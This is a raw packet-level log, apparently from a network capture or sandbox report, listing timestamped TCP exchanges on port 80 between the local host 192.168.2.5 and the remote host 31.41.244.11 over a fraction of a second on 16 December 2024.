Dec 16, 2024 09:01:12.725687027 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.725728035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.725800991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.725835085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.726730108 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.726828098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.726872921 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.727710009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.727720976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.727770090 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.728682041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.728729963 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.728790998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.729695082 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.729748964 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.729784012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.730690002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.730743885 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.730813980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.730849981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.731683969 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.731782913 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.731956005 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.732647896 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.732752085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.732812881 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.733661890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.733717918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.733747959 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.734036922 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.734644890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.734673977 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.734721899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.735698938 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.735764980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.735822916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.736686945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.736741066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.736763954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.737632990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.737687111 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.737759113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.738285065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.738759041 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.738964081 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.739027977 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.739670038 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.739744902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.739799023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.740643978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.740691900 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.740762949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.741481066 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.741638899 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.741683006 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.741731882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.741771936 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.742628098 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.742719889 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.742774010 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.743607998 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.743741035 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.743791103 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.744621992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.744688988 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.744824886 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.745589972 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.745645046 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.745708942 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.746601105 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.746653080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.746675014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.746721029 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.747602940 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.747703075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.747754097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.748583078 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.748714924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.748768091 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.749614954 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.749666929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.749715090 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.750024080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.750586033 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.750638008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.750689030 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.750740051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.751564980 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.751622915 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.751691103 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.751729965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.752571106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.752618074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.752655029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.752696037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.753557920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.753607035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.753696918 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.753741026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.754584074 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.754718065 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.754765987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.755553961 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.755717993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.755767107 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.756593943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.756644011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.756717920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.757482052 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.757558107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.757601023 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.757674932 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.758604050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.758619070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.758654118 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.758665085 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.759561062 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.759668112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.759715080 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.760533094 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.760590076 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.760685921 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.760725021 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.761708021 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.761761904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.761915922 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.761960030 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.762518883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.762562037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.762624025 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.762665987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.763530970 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.763583899 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.763652086 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.763694048 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.764522076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.764564037 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.764617920 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.764661074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.765513897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.765556097 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.765665054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.765710115 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.766545057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.766598940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.766680002 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.766716003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.767520905 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.767571926 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.767616987 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.767656088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.768507004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.768552065 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.768618107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.768676043 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.769504070 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.769557953 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.769663095 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.769705057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.770493031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.770615101 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.770616055 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.770828962 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.771505117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.771553040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.771624088 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.771673918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.772479057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.772526979 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.912349939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.912422895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.912466049 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.912820101 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.912833929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.912878036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.912904978 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.913809061 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.913938999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.913985014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.914030075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.914917946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.915086031 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.915139914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.915803909 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.915935040 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.915993929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.916027069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.916846991 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.916857958 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.916901112 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.916918039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.917810917 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.917898893 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.917907953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.917962074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.918792963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.918899059 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.918946981 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.919795036 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.919815063 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.919879913 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.920825958 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.920876980 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.920916080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.920953989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.921798944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.921838999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.921883106 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.922804117 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.922910929 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.922951937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.923773050 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.923810959 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.923918009 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.924855947 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.924902916 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.924926996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.925786018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.925827026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.925961018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.926780939 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.926821947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.926881075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.927826881 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.927870035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.927903891 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.927942038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.928766012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.928895950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.928936958 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.929760933 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.929873943 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.929918051 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.930771112 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.930938005 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.930984020 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.931757927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.931806087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.931885004 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.932773113 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.932821989 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.932858944 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.933737993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.933784008 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.933868885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.933904886 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.934793949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.934834003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.934874058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.935786963 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.935928106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.935971022 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.936811924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.936868906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.936938047 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.937704086 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.937753916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.937796116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.937838078 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.937876940 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.938760996 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.938877106 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.938930035 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.939718008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.939831018 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.939877987 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.940716028 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.940824986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.940872908 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.941735029 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.941807985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.941849947 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.942715883 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.942816019 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.942866087 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.943734884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.943778038 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.943816900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.944704056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.944747925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.944803953 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.945713997 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.945760965 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.945780993 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.945820093 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.946681976 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.946791887 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.946837902 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.947696924 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.947837114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.947881937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.948692083 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.948736906 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.948817968 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.949492931 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.949695110 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.949738026 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.949785948 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.949831009 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.950711012 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.950763941 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.950834990 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.950876951 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.951688051 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.951739073 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.951769114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.951808929 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.952696085 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.952749014 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.952780962 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.953650951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.953665972 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.953722954 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.953813076 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.954663992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.954719067 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.954754114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.955651999 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.955722094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.955755949 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.955802917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.956667900 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.956770897 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.956818104 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.957658052 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.957766056 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.957811117 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.958635092 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.958745003 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.958792925 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.959655046 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.959702969 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.959769964 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.960679054 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.960694075 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.960725069 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.960753918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:12.961725950 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.961788893 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:12.961834908 CET	49817	80	192.168.2.5	31.41.244.11
